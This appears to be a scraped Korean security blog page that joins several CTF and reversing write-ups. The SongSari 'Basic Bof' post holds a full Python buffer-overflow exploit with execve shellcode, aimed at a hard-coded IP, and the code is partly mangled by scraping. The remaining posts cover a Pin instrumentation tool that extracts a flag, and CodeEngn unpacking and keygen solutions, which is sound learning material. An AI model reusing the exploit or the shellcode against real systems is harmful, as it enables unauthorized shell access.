반응형


Main에는 이것 하나밖에 없었다.

그래서 정말그런지 삽질하다. bss 영역에 실행권한이 있음을 알게 되었다.

그래서 bss에 쉘코드를 넣고 실행시켰다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('61.105.8.2'11000)
bss = 0x804a020
gets_plt = 0x80482f0
 
def main():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    payload=""
    payload+="A"*0x44
    payload+=p(gets_plt)
    payload+=p(bss)
    payload+=p(bss)
    S.send(payload+"\n")
    sleep(0.5)
    payload2=("\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
        "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80")
    S.send(payload2+"\n")
    S.send("id;ls -al /home/basicbof/flag;cat /home/basicbof/flag   \n")
    print S.recv(1024)
    print S.recv(1024)
if __name__ == "__main__":
    main()
cs


'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형




OEP와 분기점의 OPCODE를 구하라고 합니다.


이번 문제는 ASPack이라는 팩커로 팩킹되어 있습니다.



RET까지 가다보면 OEP를 찾을 수 있습니다.

그다음 분기점은 문자열 찾기로 찾을 수 있습니다.



'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 09  (0) 2015.11.20
CodeEngn basic 08  (0) 2015.11.13
CodeEngn basic 07  (0) 2015.11.13
CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
반응형


핀툴 홈페이지

https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool


핀툴(Pin Tool)이란?

- 인텔사에서 만든 x64, i686을 위해서 동적으로 바이너리를 삽입할 수 있게 한 프로그램입니다.


한국에서는 별로 문서가 없는데 이는 모든 메뉴얼이 영어로 되어 있기 때문입니다.

하지만  각각의 기능에 대한 부분은 영어를 조금만 알더라도 쉽게 이해할 수 있을겁니다,

저 같은 경우에는 컴퓨터 쪽 용어를 알고 있어 조금 수월했습니다.

(영어5등급보다 잘하시잖아요)


핀툴의 기능은 쉽게 말해서

어떤 프로그램에서 원하는 코드가 실행될때 무엇이든 할 수 있다는 것입니다.


예시를 들면



이 프로그램은 무려 0x42A0바이트를 일일이 비교하게 됩니다.

이것을 단순 리버싱을 하려면 매우 복잡하게 됩니다.

이때 PinTool을 사용할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<iostream>
#include<fstream>
#include "pin.H"
#define START 0x8048202
#define END 0x80A3778
using namespace std;
ofstream out("flag");
long long int iXor,iCmp;
void Instruction(INS ins, void *v)
{
        // INS_Address 현제 주소를 구해온다.
        ADDRINT Address = INS_Address(ins);
        // 원하는 범위 한정
        if(START<=Address && Address<=END)
        {
                char cAns;
                // INS_Opcode 현제 주소의 Opcode를 구해온다.
                switch(INS_Opcode(ins))
                {
                // 만약 XOR이라면
                case XED_ICLASS_XOR:
                        // Immediate를 가지고 온다.
                        iXor = INS_OperandImmediate(ins,1);
                        break;
                // 만약 CMP라면
                case XED_ICLASS_CMP:
                        // Immediate를 가지고 온다.
                        iCmp = INS_OperandImmediate(ins,1);
                        cAns = iXor^iCmp;
                        // 출력
                        out<<cAns;
                        iXor=0;
                        break;
                }
                // 명령어 삭제로 다음명령어 강제 실행
                INS_Delete(ins);
        }
}
int main(int argc, char* argv[])
{
        // 핀툴 초기화
        if(PIN_Init(argc,argv)) return -1;
        // CallBack 함수 추가   
        INS_AddInstrumentFunction(Instruction, 0);
        // 프로그램 시작
        PIN_StartProgram();
        return 0;
}
 
 
cs


이렇게 하면 빌드를 하게 되면

윈도우라면 DLL파일 리눅스라면 SO파일이 나올 것입니다.

이 빌드파일을 가지고 실행시키는 방법은

pin.exe -t <빌드파일 주소> -- <실행 파일>

입니다.


위 소스라면 같은 폴더에 flag라는 파일에 키가 문자열로 있을 것입니다. 




'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형


main.cpp


socket.h

패킷은 캡슐화 되어서 이동합니다.

저는 한번 직접 물리부터 만들어 보았습니다.

근데 좀 더러울 것입니다.

시간되면 고치겠습니다.

'Network' 카테고리의 다른 글

LibTins ARP Spoofing  (0) 2016.06.24
WinPcap 4  (0) 2016.02.23
WinPcap 3  (0) 2016.02.23
WinPcap 2  (0) 2016.02.23
WinPcap 1  (0) 2016.02.23
반응형



파일은 일단 UPX로 팩킹되어있습니다.

언팩킹을 하게 될 경우 실행되지 않습니다.

이는 StolenByte와 연관이 있습니다.


StolenByte란 어떤 코드를 다른 곳에 옮겨 놓은것을 의미합니다.
우리는 언팩킹을 하고 난 뒤 실행이 안됬으므로 원래 OEP로 가는 도중에
StolenByte가 있을 확률이 높습니다.


보통 UPX는 popad를 한 뒤 바로 JMP를 하지만

여기에서는 몇 코드가 더 있습니다. 이것이 StolenByte입니다.

'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn Basic 10  (0) 2015.11.25
CodeEngn basic 08  (0) 2015.11.13
CodeEngn basic 07  (0) 2015.11.13
CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
반응형


UPX 팩킹되어 있습니다.

CodeEngn basic 6에 한 내용과 같습니다.





'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn Basic 10  (0) 2015.11.25
CodeEngn basic 09  (0) 2015.11.20
CodeEngn basic 07  (0) 2015.11.13
CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
반응형

바로 비밀번호 체크 루틴으로 들어왔습니다. 

BOOL WINAPI GetVolumeInformation(

_In_opt_ LPCTSTR lpRootPathName,

_Out_opt_ LPTSTR lpVolumeNameBuffer,

_In_ DWORD nVolumeNameSize,

_Out_opt_ LPDWORD lpVolumeSerialNumber,

_Out_opt_ LPDWORD lpMaximumComponentLength,

_Out_opt_ LPDWORD lpFileSystemFlags,

_Out_opt_ LPTSTR lpFileSystemNameBuffer,

_In_ DWORD nFileSystemNameSize

);

이중 0x040225C에 저장되는 VolumeNameBuffer는 

첫번째 볼륨의 이름이 저장됩니다.



위 루틴을 분석해보면


str = VolumName + 4562-ABEX

str앞 4글자 각각 2더함

Serial = L2C-5781 + str




'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 09  (0) 2015.11.20
CodeEngn basic 08  (0) 2015.11.13
CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
반응형

DIMICON 예선 Write UP.pdf


디미고에서한 내부대회 DIMICON 예선 Write Up입니다.

본선은 대회하고 곧 올리겠습니다.

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07
반응형


UPX 팩킹 되어 있음을 알 수 있습니다.

이번에는 OEP를 알아야 함으로 툴을 사용할 수 없습니다.

UPX는 언펙킹을하고 마지막에 원래 OEP로 가는 JMP문이 있는 특징이 있습니다.


OEP는 0x0401360 입니다.


DialogBoxParam API는 다이얼 로그를 표시하는 함수입니다.

INT_PTR WINAPI DialogBoxParam(

_In_opt_ HINSTANCE hInstance,

_In_ LPCTSTR lpTemplateName,

_In_opt_ HWND hWndParent,

_In_opt_ DLGPROC lpDialogFunc,

_In_ LPARAM dwInitParam

);

이중 lpDialogFunc가 중요합니다.



여기가 lpDialogFunc 주소 위치입니다.


F9로 실행하고 값을 넣고 실행하면



키를 찾을 수 있습니다.


'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 08  (0) 2015.11.13
CodeEngn basic 07  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13

+ Recent posts